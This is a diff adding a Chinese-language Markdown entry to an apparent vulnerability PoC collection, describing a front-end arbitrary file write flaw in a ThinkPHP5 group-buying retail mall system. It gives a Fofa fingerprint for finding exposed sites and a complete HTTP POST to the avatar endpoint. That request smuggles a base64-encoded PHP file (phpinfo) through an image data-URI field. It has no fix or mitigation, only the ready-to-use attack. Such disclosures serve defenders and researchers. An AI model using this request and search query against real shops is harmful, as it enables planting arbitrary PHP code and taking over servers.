7.20更新漏洞

拼团零售商城系统前台任意文件写入漏洞.md

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+# 拼团零售商城系统前台任意文件写入漏洞
+
+**ThinkPHP5 拼团拼购系统，支持热门商品，余额总览，红包分销，商品销售，购物车等功能，后台使用管理系统所构建；该漏洞利用需要普通用户登录权限**
+
+## Fofa
+
+```yaml
+"/public/static/plugins/zepto/dist/zepto.js"
+```
+
+## poc
+
+```yaml
+POST /home/user/avatar HTTP/1.1
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br, zstd
+Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
+Cache-Control: max-age=0
+Connection: keep-alive
+Content-Length: 65
+Content-Type: application/x-www-form-urlencoded
+Cookie: PHPSESSID=kplfq401bdcmql31vr7jp2s6ul; user_id=1; uname=%25E5%2588%2598%25E6%2580%25BB
+Host: 127.0.0.1
+Origin: http://127.0.0.1
+Referer: http://127.0.0.1/home
+Sec-Fetch-Dest: document
+Sec-Fetch-Mode: navigate
+Sec-Fetch-Site: none
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
+sec-ch-ua-mobile: ?0
+sec-ch-ua-platform: "Windows"
+sec-fetch-user: ?1
+
+base64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
+```
+
+![image-20240720125113160](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407201251370.png)
+
+## 漏洞来源
+
+- https://mp.weixin.qq.com/s/ZjuanRwJzZvgJhJARdq1jg